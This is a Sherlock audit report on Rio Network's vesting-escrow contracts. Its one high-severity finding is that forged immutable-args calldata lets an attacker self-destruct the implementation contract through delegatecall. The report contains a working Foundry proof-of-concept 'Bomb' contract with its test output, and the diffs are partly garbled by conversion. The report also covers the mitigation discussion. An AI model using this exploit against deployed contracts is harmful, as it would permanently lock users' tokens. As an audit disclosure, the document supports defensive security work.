

# **SHERLOCK SECURITY REVIEW FOR**



**Prepared for:** Rio Network

Prepared by: Sherlock

**Lead Security Expert: IIIIIII** 

Dates Audited: January 10 - January 13, 2024

Prepared on: January 24, 2024

## Introduction

The liquid restaking network.

## Scope

Repository: rio-org/rio-vesting-escrow

Branch: main

Commit: cd1601bb2862fdaebe3196689176b384f1324c4c

Repository: rio-org/rio-vesting-escrow

Branch: main

Commit: d0a8839e6f4f53e9a188502cd2638ddd36026649

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For the detailed scope, see the contest details.

# **Findings**

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

#### **Issues found**

Medium	High
0	1



# Issues not fixed or acknowledged

Medium	High
0	0

# **Security experts who found valid issues**

OxLogosIIIIIIIfugazzizzykxx

# Issue H-1: Vaults can be bricked by selfdestruct() ing implementations, using forged immutable args

#### Source:

https://github.com/sherlock-audit/2024-01-rio-vesting-escrow-judging/issues/60

# Found by

OxLogos, IIIIII, fugazzi, zzykxx

## **Summary**

The clone-with-immutable-args pattern is unsafe to use when one of the immutable arguments controls an address being delegated to.

## **Vulnerability Detail**

As was seen in the Astaria beacon proxy <u>issue</u>, an attacker is able to forge the calldata that the proxy normally would forward, and can cause the implementation to selfdestruct() itself via a delegatecall(). The current code has a very similar vulnerability, in that every escrow performs a delegatecall() to an address coming from the factory, which is a forgeable immutable argument.

## **Impact**

By creating a fake IVotingAdaptor, and providing properly-formatted calldata to the implementation contract being passed to each factory, an attacker can gain control via the delegatecall() in order to selfdestruct() each of the factories' implementations, preventing each factory's escrows from functioning further, including the withdrawal of tokens by any party.

# **Code Snippet**

The factory() function gets its value from an immutable argument:

https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/main/rio-vesting-escrow/src/VestingEscrow.sol#L18-L21



whose subsequent responses end up being used with delegatecall()s:

https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/main/rio-vesting-escrow/src/VestingEscrow.sol#L152-L156

https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/main/rio-vesting-escrow/src/adaptors/OZVotingAdaptor.sol#L55-L59

#### Tool used

Manual Review

#### Recommendation

Use a state/contract variable for anything requiring being delegated to.

#### PoC

Because of a <u>foundry bug</u> the test is not able to show the end result of the selfdestruct(), so I've added a print statement

```
diff --git a/rio-vesting-escrow/test/VestingEscrow.t.sol

→ b/rio-vesting-escrow/test/VestingEscrow.t.sol
index eafb7dc..55c95a8 100644
```



```
--- a/rio-vesting-escrow/test/VestingEscrow.t.sol
+++ b/rio-vesting-escrow/test/VestingEscrow.t.sol
@@ -6,6 +6,20 @@ import {IVestingEscrow} from

    'src/interfaces/IVestingEscrow.sol';

 import {OZVotingAdaptor} from 'src/adaptors/OZVotingAdaptor.sol';
 import {ERC20NoReturnToken} from 'test/lib/ERC20NoReturnToken.sol';
 import {ERC20Token} from 'test/lib/ERC20Token.sol';
+import {console} from 'forge-std/Test.sol';
+contract Bomb {
     function attack(address impl) external {
         (bool success, ) =
   impl.call(abi.encodePacked(bytes4(keccak256("vote(bytes)")), bytes32(0),
    address(this), address(this), uint40(block.timestamp),
   uint40(block.timestamp + 1), uint40(0), uint40(1), uint16(82)));
         require(success);
    function votingAdaptor() external view returns (address) { return
    address(this); } function factory() external view returns (address) { return
   address(this); } function recipient() external view returns (address) {
   return address(this); }
     function vote(bytes calldata) external {
         console.log("bomb is being delegatecall()ed to; calling
   selfdestruct()");
        selfdestruct(payable(address(0)));
+}
 contract VestingEscrowTest is TestUtil {
     function setUp() public {
@@ -586,9 +600,11 @@ contract VestingEscrowTest is TestUtil {
         deployedVesting.revokeAll();
     function testRevokeAll() public {
     function testRevokeAllBomb() public {
         uint256 ownerBalance = token.balanceOf(factory.owner());
        new Bomb().attack(address(vestingEscrowImpl));
         vm.prank(factory.owner());
         deployedVesting.revokeAll();
diff --git a/rio-vesting-escrow/test/lib/TestUtil.sol
→ b/rio-vesting-escrow/test/lib/TestUtil.sol
index 8667ef4..68c60ec 100644
```

```
--- a/rio-vesting-escrow/test/lib/TestUtil.sol
+++ b/rio-vesting-escrow/test/lib/TestUtil.sol
@@ -39,6 +39,7 @@ contract TestUtil is Test {
     OZVotingToken public token;
     VestingEscrow public deployedVesting;
     VestingEscrow public vestingEscrowImpl;
     uint256 public amount;
     address public recipient;
@@ -52,8 +53,9 @@ contract TestUtil is Test {
         token = new OZVotingToken();
         governor = new GovernorVotesMock(address(token));
         ozVotingAdaptor = new OZVotingAdaptor(address(governor),
    address(token), config.owner);
         vestingEscrowImpl = new VestingEscrow();
         factory = new VestingEscrowFactory(
             address(new VestingEscrow()), address(token), config.owner,
   config.manager, address(ozVotingAdaptor)
             address(vestingEscrowImpl), address(token), config.owner,
   config.manager, address(ozVotingAdaptor)
         );
         vm.deal(RANDOM_GUY, 100 ether);
```

#### output:

```
% forge test --match-test testRevokeAllBomb -vvv
[] Compiling...
No files changed, compilation skipped

Running 1 test for test/VestingEscrow.t.sol:VestingEscrowTest
[PASS] testRevokeAllBomb() (gas: 342335)
Logs:
  bomb is being delegatecall()ed to; calling selfdestruct()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.79ms
```

#### **Discussion**

#### solimander

Acknowledged

#### sherlock-admin2

1 comment(s) were left on this issue during the judging contest.



#### pratraut commented:

'invalid due to owner who is deploying escrow contract is TRUSTED entity'

#### solimander

I believe this is valid. Forging of calldata variables will allow anyone to bypass protections and selfdestruct the implementation contract.

#### solimander

Not sure if I'm jumping the gun here, but fixed in https://github.com/rio-org/rio-vesting-escrow/pull/6

#### **OxMRO**

@solimander @nevillehuang

Isn't this issue ONLY applicable to beacon proxy or ERC1967 proxy contracts?

The contracts are using clones(ERC-1167: Minimal Proxy Contract) and per openzeppelin,

onlyProxy() Check that the execution is being performed through a delegatecall call and that the execution context is a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to fail.

#### code reference take from here

```
/// @custom:oz-upgrades-unsafe-allow state-variable-immutable
address private immutable __self = address(this);

/**

* @dev Check that the execution is being performed through a delegatecall call

- and that the execution context is

* a proxy contract with an implementation (as defined in ERC-1967) pointing to

- self. This should only be the case

* for UUPS and transparent proxies that are using the current contract as their

- implementation. Execution of a

* function through ERC-1167 minimal proxies (clones) would not normally pass

- this test, but is not guaranteed to

* fail.
```



similar modifier has been used by project team here as seen in pull request.

Can you please check the issue is really with minimal proxies? if its possible, Not sure why the user i.e recipient will do this to stuck his own tokens since the functions are onlyRecipient protected? If it can be done by malicious owner then owner is trusted here? Or am i missing something or the context of above openzeppelin reference is misunderstood?

Thanks and appreciate the response.

#### detectiveking123

I believe this is a valid issue as well. It is a good catch.

#### solimander

Can you please check the issue is really with minimal proxies? if its possible, Not sure why the user i.e recipient will do this to stuck his own tokens since the functions are onlyRecipient protected? If it can be done by malicious owner then owner is trusted here? Or am i missing something or the context of above openzeppelin reference is misunderstood?

You're misunderstanding somewhat. The problem is related to the fact that the



"immutable" variables are actually calldata, and can therefore be forged when when calling the implementation contract directly. First, the attacker needs to bypass onlyRecipient, which they can do by setting the recipient (\_getArgAddress(40)) to their address in the calldata. Then they call one of the three functions that delegate-calls \_votingAdaptor (delegate, vote, or voteWithReason). \_votingAdaptor can be faked via a forged factory. The fake \_votingAdaptor then calls self-destruct and there goes the implementation contract. All escrows are bricked.

#### 1111111000

The PR properly mitigates the issue by creating and using a new onlyDelegateCall modifier (similar to OZ's version) on the external vote() and voteWithReason() functions, as well as on the internal \_delegate() function, which are the only functions making delegatecall()s from implementations, on results controlled by a \_getArgAddress() internal function call. The new modifier is added to a new mixin which adds a new immutable address contract variable and sets it to the contract's own address during construction. The mixin is added to the vulnerable VestingEscrow contract's inheritance chain, and properly rejects any call coming from the contract by checking address(this) against the stored address, which correctly won't match for delegatecalls. The PR also adds the delegate(), vote(), and voteWithReason() functions from VestingEscrow.sol to IVestingEscrow.sol, and adds passing negative tests for the attack on each of those functions on the factory's implementation. There is no test for an attack on initialize(). The PR also updates the gas snapshot numbers. The clone itself (proxy) is not vulnerable, because it forwards all requests via delegatecall(), rather than relying on any of the implementation's code.

#### solimander

Thanks @lllllll000! I've added a test for an attack on initialize: <a href="https://github.com/rio-org/rio-vesting-escrow/pull/6/commits/a6544b174aff9b2ff7">https://github.com/rio-org/rio-vesting-escrow/pull/6/commits/a6544b174aff9b2ff7</a> 66f7aece03b052ec2b7466



# **Disclaimers**

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.

